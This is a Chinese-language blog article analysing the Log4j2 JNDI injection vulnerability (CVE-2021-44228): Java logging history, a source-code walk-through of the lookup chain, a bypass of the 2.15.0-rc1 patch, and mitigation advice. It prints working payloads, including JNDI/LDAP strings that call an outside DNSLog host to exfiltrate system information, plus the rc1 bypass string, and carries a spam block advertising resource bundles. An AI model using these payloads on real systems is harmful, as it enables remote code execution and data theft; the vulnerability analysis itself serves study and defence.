写点什么

从 0 到 1 带你深入理解 log4j2 漏洞

  • 2021 年 12 月 27 日
  • 本文字数:9114 字

    阅读完需:约 30 分钟

0x01 前言

最近 IT 圈被爆出的 log4j2 漏洞闹的沸沸扬扬,log4j2 作为一个优秀的 java 程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前 java 全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。


Apache Log4j2 漏洞影响面查询的统计来看,影响多达 60644 个开源软件,涉及相关版本软件包更是达到了 321094 个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场 java 生态的‘浩劫’。本文将从零到一带你深入了解 log4j2 漏洞。知其所以然,方可深刻理解、有的放矢。

0x02 Java 日志体系

要了解认识 log4j2,就不得讲讲 java 的日志体系,在最早的 2001 年之前,java 是不存在日志库的,打印日志均通过System.outSystem.err来进行,缺点也显而易见,列举如下:


大量 IO 操作;

无法合理控制输出,并且输出内容不能保存,需要盯守;

无法定制日志格式,不能细粒度显示;


在 2001 年,软件开发者Ceki Gulcu设计出了一套日志库也就是 log4j(注意这里没有 2)。后来 log4j 成为了 Apache 的项目,作者也加入了 Apache 组织。这里有一个小插曲,Apache 组织建议过 sun 公司在标准库中引入 log4j,但是 sun 公司可能有自己的小心思,所以就拒绝了建议并在 JDK1.4 中推出了自己的借鉴版本 JUL(Java Util Logging)。不过功能还是不如 Log4j 强大。使用范围也很小。


由于出现了两个日志库,为了方便开发者进行选择使用,Apache 推出了日志门面JCL(Jakarta Commons Logging)。它提供了一个日志抽象层,在运行时动态的绑定日志实现组件来工作(如 log4j、java.util.logging)。导入哪个就绑定哪个,不需要再修改配置。当然如果没导入的话他自己内部有一个 Simple logger 的简单实现,但是功能很弱,直接忽略。架构如下图:



【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线


在 2006 年,log4j 的作者Ceki Gulcu离开了 Apache 组织后觉得 JCL 不好用,于是自己开发了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j 需要使用桥接包来和日志实现组件建立关系。由于 Slf4j 每次使用都需要配合桥接包,作者又写出了Logback日志标准库作为 Slf4j 接口的默认实现。其实根本原因还是在于 log4j 此时无法满足要求了。以下是桥接架构图:



到了 2012 年,Apache 可能看不要下去要被反超了,于是就推出了新项目Log4j2并且不兼容 Log4j,全面借鉴Slf4j+Logback。此次借鉴比较成功。


Log4j2 不仅仅具有 Logback 的所有特性,还做了分离设计,分为 log4j-api 和 log4j-core,log4j-api 是日志接口,log4j-core 是日志标准库,并且 Apache 也为 Log4j2 提供了各种桥接包


到目前为止 Java 日志体系被划分为两大阵营,分别是 Apache 阵营和 Ceki 阵营。


0x03 Log4j2 源码浅析

Log4j2 是 Apache 的一个开源项目,通过使用 Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。


从上面的解释中我们可以看到 Log4j2 的功能十分强大,这里会简单分析其与漏洞相关联部分的源码实现,来更熟悉 Log4j2 的漏洞产生原因。


我们使用 maven 来引入相关组件的 2.14.0 版本,在工程的 pom.xml 下添加如下配置,他会导入两个 jar 包


<dependencies><dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-core</artifactId>    <version>2.14.0</version></dependency></dependencies>
复制代码



在工程目录 resources 下创建 log4j2.xml 配置文件


<?xml version="1.0" encoding="UTF-8"?>
<configuration status="error"><appenders><!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT--> <Console name="Console" target="SYSTEM_OUT" ><!-- 配置Console的模式布局--> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/> </Console></appenders><loggers> <root level="error"> <appender-ref ref="Console"/> </root></loggers></configuration>
复制代码


log4j2 中包含两个关键组件LogManagerLoggerContextLogManager是 Log4J2 启动的入口,可以初始化对应的LoggerContextLoggerContext会对配置文件进行解析等其它操作。


在不使用 slf4j 的情况下常见的 Log4J 用法是从 LogManager 中获取 Logger 接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果


import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class log4j2Rce2 {private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);public static void main(String[] args) { String a="${java:os}"; logger.error(a);}}
复制代码



属性占位符之 Interpolator(插值器)


log4j2 中环境变量键值对被封装为了 StrLookup 对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在 Interpolator(插值器)内部以 Map<String,StrLookup>的方式则封装了多个 StrLookup 对象,如下图显示:



详细信息可以查看官方文档。这些实现类存在于org.apache.logging.log4j.core.lookup包下。


当参数占位符${prefix:key}带有 prefix 前缀时,Interpolator 会从指定 prefix 对应的 StrLookup 实例中进行 key 查询。当参数占位符${key}没有 prefix 时,Interpolator 则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookuplookup方法使用 jndi(javax.naming)获取 value。如下图演示。



模式布局


log4j2 支持通过配置 Layout 打印格式化的指定形式日志,可以在 Appenders 的后面附加 Layouts 来完成这个功能。常用之一有PatternLayout,也就是我们在配置文件中PatternLayout字段所指定的属性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n%msg表示所输出的消息,其它格式化字符所表示的意义可以查看官方文档



PatternLayout模式布局会通过 PatternProcessor 模式解析器,对模式字符串进行解析,得到一个List<PatternConverter>转换器列表和List<FormattingInfo>格式信息列表。


在配置文件PatternLayout标签的pattern属性中我们可以看到类似 %d 的写法,d 代表一个转换器名称,log4j2 会通过PluginManager收集所有类别为 Converter 的插件,同时分析插件类上的 @ConverterKeys 注解,获取转换器名称,并建立名称到插件实例的映射关系,当 PatternParser 识别到转换器名称的时候,会查找映射。相关转换器名称注解和加载的插件实例如下图所示:




本次漏洞关键在于转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为 jndi 的方式的话,就存在漏洞。


日志级别


log4j2 支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为 6 个:fatal(致命的), error, warn, info, debug, trace(堆栈)。log4j2 还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。


当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2 才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中<root level="error">值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用 Error 级别,也就是 200,如下图中的处理:


0x04 漏洞原理

首先先来看一下网络上流传最多的 payload


${jndi:ldap://2lnhn2.ceye.io}
复制代码


而触发漏洞的方法,大家都是以 Logger.error()方法来进行演示,那这里我们也采用同样的方式来讲解,具体漏洞环境代码如下所示


import org.apache.logging.log4j.Level;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.core.config.Configurator;
public class Log4jTEst {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4jTEst.class);
logger.error("${jndi:ldap://2lnhn2.ceye.io}");
}}
复制代码


直击漏洞本源,将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,该方法的第一行代码将返回当前使用的布局,并调用 对应布局处理器的 encode 方法。log4j2 默认缺省布局使用的是 PatternLayout,如下图所示:



继续跟进在 encode 中会调用 toText 方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的 StringBuilder 中。




接下来会调用serializer.toSerializable,并在这个方法中调用不同的 Converter 来处理传入的数据,如下图所示,



这里整理了一下调用的 Converter


org.apache.logging.log4j.core.pattern.DatePatternConverterorg.apache.logging.log4j.core.pattern.LiteralPatternConverterorg.apache.logging.log4j.core.pattern.ThreadNamePatternConverterorg.apache.logging.log4j.core.pattern.LevelPatternConverterorg.apache.logging.log4j.core.pattern.LoggerPatternConverterorg.apache.logging.log4j.core.pattern.MessagePatternConverterorg.apache.logging.log4j.core.pattern.LineSeparatorPatternConverterorg.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter
复制代码


这么多 Converter 都将一个个通过上图中的 for 循环对日志事件进行处理,当调用到 MessagePatternConverter 时,我们跟入 MessagePatternConverter.format()方法中一探究竟



在 MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符""和"{"的判断,而且是连着判断,等同于判断是否存在"{",这三行代码中关键点在于最后一行



这里我圈了几个重点,有助于理解 Log4j2 为什么会用 JndiLookup,它究竟想要做什么。此时的 workingBuilder 是一个 StringBuilder 对象,该对象存放的字符串如下所示


09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}
复制代码


本来这段字符串的长度是 82,但是却给它改成了 53,为什么呢?因为第五十三的位置就是$符号,也就是说${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第 53 位开始 append。而 append 的内容是什么呢?


可以看到传入的参数是 config.getStrSubstitutor().replace(event, value)的执行结果,其中的 value 就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace 的作用简单来说就是想要进行一个替换,我们继续跟进



经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断":"的位置,其后截取之前的字符。截取到 jndi 然后就会获取针对 jndi 的 Strlookup 对象并调用 Strlookup 的 lookup 方法,如下图所示



那么总共有多少 Strlookup 的子类对象可供选择呢,可供调用的 Strlookup 都存放在当前 Interpolator 类的 strLookupMap 属性中,如下所示



然后程序的继续执行就会来到 JndiLookup 的 lookup 方法中,并调用 jndiManager.lookup 方法,如下图所示



说到这里,我们已经详细了解了 logger.error()造成 RCE 的原理,那么问题就来了,logger 有很多方法,除了 error 以外还别方法可以触发漏洞么?这里就要提到 Log4j2 的日志优先级问题,每个优先级对应一个数值intLevel记录在 StandardLevel 这个枚举类型中,数值越小优先级越高。如下图所示:



当我们执行 Logger.error 的时候,会调用 Logger.logIfEnabled 方法进行一个判断,而判断的依据就是这个日志优先级的数值大小




跟进 isEnabled 方法发现,只有当前日志优先级数值小于 Log4j2 的 200 的时候,程序才会继续往下走,如下所示



而这里日志优先级数值小于等于 200 的就只有"error"、"fatal",这两个,所以 logger.fatal()方法也可触发漏洞。但是"warn"、"info"大于 200 的就触发不了了。


但是这里也说了是默认情况下,日志优先级是以 error 为准,Log4j2 的缺省配置文件如下所示。


<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"><Appenders> <Console name="Console" target="SYSTEM_OUT">   <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console></Appenders><Loggers> <Root level="error">   <AppenderRef ref="Console"/> </Root></Loggers></Configuration>
复制代码


所以只需要做一点简单的修改,将<Root level="error">中的 error 改成一个优先级比较低的,例如"info"这样,只要日志优先级高于或者等于 info 的就可以触发漏洞,修改过后如下所示


<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <Console name="Console" target="SYSTEM_OUT">            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>        </Console>    </Appenders>    <Loggers>        <Root level="info">            <AppenderRef ref="Console"/>        </Root>    </Loggers></Configuration>
复制代码


关于 Jndi 部分的远程类加载利用可以参考实验室往常的文章:Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解JAVA JNDI注入知识详解

0x05 敏感数据带外

当目标服务器本身受到防护设备流量监控等原因,无法反弹 shell 的时候,Log4j2 还可以通过修改 payload,来外带一些敏感信息到 dnslog 服务器上,这里简单举一个例子,根据 Apache Log4j2 官方提供的信息,获取环境变量信息除了 jndi 之外还有很多的选择可供使用,具体可查看前文给出的链接。根据文档中所述,我们可以用下面的方式来记录当前登录的用户名,如下所示


<File name="Application" fileName="application.log">  <PatternLayout>    <pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>  </PatternLayout></File>
复制代码


获取 java 运行时版本,jvm 版本,和操作系统版本,如下所示


<File name="Application" fileName="application.log">  <PatternLayout header="${java:runtime} - ${java:vm} - ${java:os}">    <Pattern>%d %m%n</Pattern>  </PatternLayout></File>
复制代码


类似的操作还有很多,感兴趣的同学可以去阅读下官方文档。


那么问题来了,如何将这些信息外带出去,这个时候就还要利用我们的 dnsLog 了,就像在 sql 注入中通过 dnslog 外带信息一样,payload 改成以下形式


"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"
复制代码


从表上看这个 payload 执行原理也不难,肯定是 log4j2 递归解析了呗,为了严谨一下,就再废话一下 log4j2 解析这个 payload 的执行流程


首先还是来到 MessagePatternConverter.format 方法,然后是调用 StrSubstitutor.replace 方法进行字符串处理,如下图所示



只不过这次迭代处理先处理了"${java:os}",如下图所示



如此一来,就来到了 JavaLookup.lookup 方法中,并根据传入的参数来获取指定的值



解析完成后然后 log4j2 才会去解析外层的${jndi:ldap://2lnhn2.ceye.io},最后请求的 dnslog 地址如下



此时就实现了将敏感信息回显到 dnslog 上,利用的就是 log4j2 的递归解析,来 dnslog 上查看一下回显效果,如下所示



但是这种回显的数据是有限制的,例如下面这种情况,使用如下 payload


${jndi:ldap://${java:os}.2lnhn2.ceye.io}
复制代码


执行完成后请求的地址如下



最后会报如下错误,并且无法回显


0x06 2.15.0 rc1 绕过详解

在 Apache log4j2 漏洞大肆传播的当天,log4j2 官方发布的 rc1 补丁就传出的被绕过的消息,于是第一时间也跟着研究究竟是怎么绕过的,分析完后发现,这个“绕过”属实是一言难尽,下面就针对这个绕过来解释一下为何一言难尽。


首先最重要的一点,就是需要修改配置,默认配置下是不能触发 JNDI 远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,所以这究竟算不算绕过,还要看各位同学自己的看法了。


首先在这次补丁中 MessagePatternConverter 类进行了大改,可以看下修改前后 MessagePatternConverter 这个类的结构对比


修改前



修改后



可以很清楚的看到 增加了三个静态内部类,每个内部类都继承自 MessagePatternConverter,且都实现了自己的 format 方法。之前执行链上的 MessagePatternConverter.format()方法则变成了下面这样



在 rc1 这个版本中 Log4j2 在初始化的时候创建的 Converter 也变了,



整理一下,可以看的更清晰一些


DatePatternConverterSimpleLiteralPatternConverter$StringValueThreadNamePatternConverterLevelPatternConverter$SimpleLevelPatternConverterLoggerPatternConverterMessagePatternConverter$SimpleMessagePatternConverterLineSeparatorPatternConverterExtendedThrowablePatternConverter
复制代码


之前的 MessagePatternConverter,变成了现在的 MessagePatternConverter$SimpleMessagePatternConverter,那么这个 SimpleMessagePatternConverter 的方法究竟是怎么实现的,如下所示



可以看到并没有对传入的数据的“{”符号进行判断并特殊处理,那么之前造成漏洞的点就没有了么?当然不是,对“{}”的处理,开发者将其转移到了 LookupMessagePatternConverter.format()方法中,如下所示



问题来了,如何才能让 log4j2 在初始化的时候就实例化 LookupMessagePatternConverter 从而能让程序在后续的执行过程中调用它的 format 方法呢?


其实很简单,但这也是我说这个绕过“一言难尽”的一个点,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要 log4j2 提供的 jndi lookup 功能,修改后的配置文件如下所示


<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <Console name="Console" target="SYSTEM_OUT">            <PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>        </Console>    </Appenders>    <Loggers>        <Root level="info">            <AppenderRef ref="Console"/>        </Root>    </Loggers></Configuration>
复制代码


这样一来就可以触发 LookupMessagePatternConverter.format()方法了,但是单单只改配置,还是不行,因为 JndiManager.lookup 方法也进行了修改,增加了白名单校验,这就意味着我们还要修改 payload 来绕过这么一个校验,校验点代码如下所示



当判断以 ldap 开头的时候,就回去判断请求的 host,也就是请求的地址,白名单内容如下所示



可以看到白名单里要么是本机地址,要么是内网地址,fe80 开头的 ipv6 地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的 ldap 服务,不过不用着急,继续往下看。


使用 marshalsec 开启 ldap 服务后,先将 payload 修改成下面这样


${jndi:ldap://127.0.0.1:8088/ExportObject}
复制代码


如此一来就可以绕过第一道校验,过了这个 host 校验后,还有一个校验,在 JndiManager.lookup 方法中,会将请求 ldap 服务后 ldap 返回的信息以 map 的形式存储,如下所示



这里要求 javaFactory 为空,否则就会返回"Referenceable class is not allowed for xxxxxx"的错误,想要绕过这一点其实也很简单,在 JndiManager.lookup 方法中有一个非常非常离谱的错误,就是在捕获异常后没有进行返回,甚至没有进行任何操作,我看不懂,但我大为震撼。这样导致了程序还会继续向下执行,从而走到最后的 this.context.lookup()这一步 ,如下所示



也就是说只要让 lookup 方法在执行的时候抛个异常就可以了,将 payload 修改成以下的形式


${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}
复制代码


在 url 中“/”后加上一个空格,就会导致 lookup 方法中一开始实例化 URI 对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对 host 的校验也可以绕过,从而再次造成 RCE。在 rc2 中,catch 错误之后,return null,也就走不到 lookup 方法里了。

0x07 修复 &临时建议

在最新的修复https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器时新增了检查 jndi 协议是否启用的判断,并且默认禁用了 jndi 协议的使用。




修复建议:


升级 Apache Log4j2 所有相关应用到最新版。

升级 JDK 版本,建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本。但仍有绕过 Java 本身对 Jndi 远程加载类安全限制的风险。


临时建议:


jvm 中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)

新建 log4j2.component.properties 文件,其中加上配置 log4j2.formatMsgNoLookups=true (版本>=2.10.0)

设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)

对于 log4j2 < 2.10 以下的版本,可以通过移除 JndiLookup 类的方式。

0x08 时间线

2021 年 11 月 24 日:阿里云安全团队向 Apache 官方提交 ApacheLog4j2 远程代码执行漏洞(CVE-2021-44228)


2021 年 12 月 8 日:Apache Log4j2 官方发布安全更新 log4j2-2.15.0-rc1,


2021 年 12 月 9 日:天融信阿尔法实验室晚间监测到 poc 大量传播并被利用攻击


2021 年 12 月 10 日:天融信阿尔法实验室于 10 日凌晨发布 Apache Log4j2 远程代码执行漏洞预警,并于当日发布 Apache Log4j2 漏洞处置方案


2021 年 12 月 10 日:同一天内,网络传出 log4j2-2.15.0-rc1 安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为 log4j2-2.15.0-rc2


2021 年 12 月 15 日:天融信阿尔法实验室对该漏洞进行了深入分析并更新修复建议。

0x09 总结

log4j2 这次漏洞的影响是核弹级的,堪称 web 漏洞届的永恒之蓝,因为作为一个日志系统,有太多的开发者使用,也有太多的开源项目将其作为默认日志系统。所以可以见到,在未来的几年内,Apache log4j2 很可能会接替 Shiro 的位置,作为护网的主要突破点。


该漏洞的原理并不复杂,甚至如果认真读了官方文档可能就可以发现这个漏洞,因为这次的漏洞究其原理就是 log4j2 所提供的正常功能,但是不管是 log4j2 的开发者也好,还是使用 log4j2 进行开发的开发者也好,他们都犯了一个致命的错误,就是相信了用户的输入。


永远不要相信用户的输入,想必这是每一个开发人员都听过的一句话,可惜,真正能做到的人太少了。对于开源软件的生态安全,也需要相关企业和组织加以关注和共同建设,安全之路任重而道远。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
从0到1带你深入理解log4j2漏洞